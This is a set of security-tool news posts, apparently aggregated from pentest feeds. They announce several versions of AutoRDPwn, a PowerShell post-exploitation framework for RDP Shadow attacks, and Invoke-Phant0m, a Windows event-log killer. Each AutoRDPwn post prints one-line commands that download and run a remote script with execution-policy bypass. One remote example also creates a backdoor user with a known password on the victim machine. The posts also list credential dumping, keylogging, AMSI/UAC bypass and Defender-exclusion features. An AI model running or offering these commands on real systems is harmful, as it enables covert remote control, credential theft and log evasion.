AutoRDPwn v5.0 – The Shadow Attack Framework

AutoRDPwn is a post-exploitation framework created in Powershell, designed primarily to automate the Shadow attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to view his victim’s desktop without his consent, and even control it on-demand, using tools native to the operating system itself.Thanks to the additional modules, it is possible to obtain a remote shell through Netcat, dump system hashes with Mimikatz, load a remote keylogger and much more. All this, Through a completely intuitive menu in seven different languages.Additionally, it is possible to use it in a reverse shell through a series of parameters that are described in the usage section.RequirementsPowershell 4.0 or higherChangesVersion 5.0• New logo completely redesigned from scratch• Full translation in 7 languages: es, en, fr, de, it, ru, pt• Remote execution through a reverse shell with UAC and AMSI Bypass• Partial support from Linux (more information in the user guide)• Improved remote execution (internet connection is no longer necessary on the victim)• New section available: Backdoors and persistence• New module available: Remote Keylogger• New section available: Privilege escalation• New module available: Obtain information from the operating system• New module available: Search vulnerabilities with Sherlock• New module available: Escalate privileges with PowerUp• New section available: Other Modules• New module available: Execute an external script*The rest of the changes can be consulted in the CHANGELOG fileUseThis application can be used locally, remotely or to pivot between teams.When used remotely in a reverse shell, it is necessary to use the following parameters:-admin / -noadmin -> Depending on the permissions we have, we will use one or the other-nogui -> This will avoid loading the menu and some colors, guaranteed its functionality-lang -> We will choose our language (English, Spanish, French, German, Italian, Russian or Portuguese)-option -> As with the menu, we can choose how to launch the attack-shadow -> We will decide if we want to see or control the remote device-createuser -> This parameter is optional, the user AutoRDPwn (password: AutoRDPwn) will be created on the victim machineLocal execution on one line:powershell -ep bypass “cd $ env: temp; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"Example of remote execution on a line:powershell -ep bypass "cd $ env: temp; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1 -admin -nogui -lang English -option 4 -shadow control -createuser"The detailed guide of use can be found at the following link:https://darkbyte.net/autordpwn-la-guia-definitivaScreenshotsCredits and AcknowledgmentsThis framework uses the following scripts and tools:• Chachi-Enumerator of Luis Vacas -> https://github.com/Hackplayers/PsCabesha-tools• Get-System from HarmJ0y & Matt Graeber -> https://github.com/HarmJ0y/Misc-PowerShell• Invoke-DCOM of Steve Borosh -> https://github.com/rvrsh3ll/Misc-Powershell-Scripts• Invoke-MetasploitPayload of Jared Haight -> https://github.com/jaredhaight/Invoke-MetasploitPayload• Invoke-Phant0m of Halil Dalabasmaz -> https://github.com/hlldz/Invoke-Phant0m• Invoke-PowerShellTcp of Nikhil "SamratAshok" Mittal -> https://github.com/samratashok/nishang• Invoke-TheHash by Kevin Robertson -> https://github.com/Kevin-Robertson/Invoke-TheHash• Mimikatz from Benjamin Delpy -> https://github.com/gentilkiwi/mimikatz• PsExec from Mark Russinovich -> https://docs.microsoft.com/en-us/sysinternals/downloads/psexec• RDP Wrapper of Stas’M Corp. -> https://github.com/stascorp/rdpwrap• SessionGopher of Brandon Arvanaghi -> https://github.com/Arvanaghi/SessionGopherAnd many more, that do not fit here .. Thanks to all of them and their excellent work.ContactThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.For more information, you can contact through info@darkbyte.netDownload AutoRDPwn

Link: http://feedproxy.google.com/~r/PentestTools/~3/zJ75MJYF2V8/autordpwn-v50-shadow-attack-framework.html

AutoRDPwn v4.8 – The Shadow Attack Framework

AutoRDPwn is a script created in Powershell and designed to automate the Shadow attack on Microsoft Windows computers. This vulnerability allows a remote attacker to view his victim’s desktop without his consent, and even control it on request. For its correct operation, it is necessary to comply with the requirements described in the user guide.RequirementsPowershell 4.0 or higherChangesVersion 4.8• Compatibility with Powershell 4.0• Automatic copy of the content to the clipboard (passwords, hashes, dumps, etc.)• Automatic exclusion in Windows Defender (4 different methods)• Remote execution without password for PSexec, WMI and Invoke-Command• New available attack: DCOM Passwordless Execution• New available module: Remote Access / Metasploit Web Delivery• New module available: Remote VNC Server (designed for legacy environments)• Autocomplete the host, user and password fields by pressing Enter• It is now possible to run the tool without administrator privileges with the -noadmin parameter*The rest of the changes can be consulted in the CHANGELOG fileUseThis application can be used locally, remotely or to pivot between computers. Thanks to the additional modules, it is possible to dump hashes and passwords, obtain a remote shell, upload and download files or even recover the history of RDP connections or passwords of wireless networks.One line execution:powershell -ep bypass “cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"The detailed guide of use can be found at the following link:https://darkbyte.net/autordpwn-la-guia-definitivaScreenshotsCredits and Acknowledgments• Mark Russinovich for his tool PsExec -> https://docs.microsoft.com/en-us/sysinternals/downloads/psexec• HarmJ0y & Matt Graeber for his script Get-System -> https://github.com/HarmJ0y/Misc-PowerShell• Stas’M Corp. for its RDP tool Wrapper -> https://github.com/stascorp/rdpwrap• Kevin Robertson for his script Invoke-TheHash -> https://github.com/Kevin-Robertson/Invoke-TheHash• Benjamin Delpy for his tool Mimikatz -> https://github.com/gentilkiwi/mimikatz• Halil Dalabasmaz for his script Invoke-Phant0m -> https://github.com/hlldz/Invoke-Phant0mContactThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.For more information, you can contact through info@darkbyte.netDownload AutoRDPwn

Link: http://www.kitploit.com/2019/03/autordpwn-v48-shadow-attack-framework.html

AutoRDPwn v4.5 – The Shadow Attack Framework

AutoRDPwn is a script created in Powershell and designed to automate the Shadow attack on Microsoft Windows computers. This vulnerability allows a remote attacker to view his victim’s desktop without his consent, and even control it on request. For its correct operation, it is necessary to comply with the requirements described in the user guide.RequirementsPowershell 5.0 or higherChangesVersion 4.5• New ninja style icon!• Automatic cleaning of Powershell history after execution• Now all dependencies are downloaded from the same repository• Many errors and bugs fixed• UAC & AMSI bypass in 64-bit systems• New module available: Remote Desktop Caching• New module available: Disable system logs (Invoke-Phant0m)• New module available: Sticky Keys Hacking• New available module: Remote Desktop History• New available attack: Session Hijacking (passwordless)WARNING! This attack is very intrusive and can only be used locally*The rest of the changes can be consulted in the CHANGELOG fileUseThis application can be used locally, remotely or to pivot between computers. Thanks to the additional modules, it is possible to dump hashes and passwords or even recover the history of RDP connections.One line execution:powershell -ep bypass “cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"The detailed guide of use can be found at the following link:https://darkbyte.net/autordpwn-la-guia-definitivaScreenshotsCredits and Acknowledgments• Mark Russinovich for his tool PsExec -> https://docs.microsoft.com/en-us/sysinternals/downloads/psexec• HarmJ0y & Matt Graeber for his script Get-System -> https://github.com/HarmJ0y/Misc-PowerShell• Stas’M Corp. for its RDP tool Wrapper -> https://github.com/stascorp/rdpwrap• Kevin Robertson for his script Invoke-TheHash -> https://github.com/Kevin-Robertson/Invoke-TheHash• Benjamin Delpy for his tool Mimikatz -> https://github.com/gentilkiwi/mimikatz• Halil Dalabasmaz for his script Invoke-Phant0m -> https://github.com/hlldz/Invoke-Phant0mContactThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.For more information, you can contact through info@darkbyte.netDownload AutoRDPwn

Link: http://feedproxy.google.com/~r/PentestTools/~3/ZHHxiH4qJi0/autordpwn-v45-shadow-attack-framework.html

Invoke-Phant0m – Windows Event Log Killer

This script walks thread stacks of Event Log Service process (spesific svchost.exe) and identify Event Log Threads to kill Event Log Service Threads. So the system will not be able to collect logs and at the same time the Event Log Service will appear to be running.I have made this script for two reasons. First, This script will help to Red Teams and Penetration Testers. Second, I want to learn Powershell and Low-Level things on Powershell for cyber security field.UsagePS C:\> Invoke-Phant0m _ _ ___ _ __ | |__ __ _ _ __ | |_ / _ \ _ __ ___ | ‘_ \| ‘_ \ / _` | ‘_ \| __| | | | ‘_ ` _ \ | |_) | | | | (_| | | | | |_| |_| | | | | | | | .__/|_| |_|\__,_|_| |_|\__|\___/|_| |_| |_| |_|[!] I’m here to blur the line between life and death…[*] Enumerating threads of PID: 1000…[*] Parsing Event Log Service Threads…[+] Thread 1001 Succesfully Killed![+] Thread 1002 Succesfully Killed![+] Thread 1003 Succesfully Killed![+] Thread 1004 Succesfully Killed![+] All done, you are ready to go!Technical Detailshttps://artofpwn.com/phant0m-killing-windows-event-log.htmlVideoDownload Invoke-Phant0m

Link: http://feedproxy.google.com/~r/PentestTools/~3/L7AW5h-Xtt0/invoke-phant0m-windows-event-log-killer.html

PSAttack: A Offensive PowerShell Console!

PenTestIT RSS Feed
There is a lot of fun offensive stuff being developed in PowerShell these days. An example is Invoke-Phant0m an excellent Microsoft Windows eventlog wiper. This post is about PSAttack, a framework which tries to include almost all Microsoft PowerShell scripts that can be used in a penetration test. What is PSAttack? PSAttack is an openRead more about PSAttack: A Offensive PowerShell Console!
The post PSAttack: A Offensive PowerShell Console! appeared first on PenTestIT.

Link: http://pentestit.com/psattack-offensive-powershell-console/

Invoke-Phant0m: The Windows Event Log Killer!

This short post is about Invoke-Phant0m, which “walks” thread stacks of the Event Log Service process (specifically svchost.exe), identifies them and kills Event Log Service Threads. This will render the system unable to collect system logs, while the Event Log Service appears to be running. Invoke-Phant0m is an open source Microsoft Windows based event log killer … Continue reading “Invoke-Phant0m: The Windows Event Log Killer!"
The post Invoke-Phant0m: The Windows Event Log Killer! appeared first on PenTestIT.

Link: http://feedproxy.google.com/~r/PenTestIT/~3/J7RSmM5WRWA/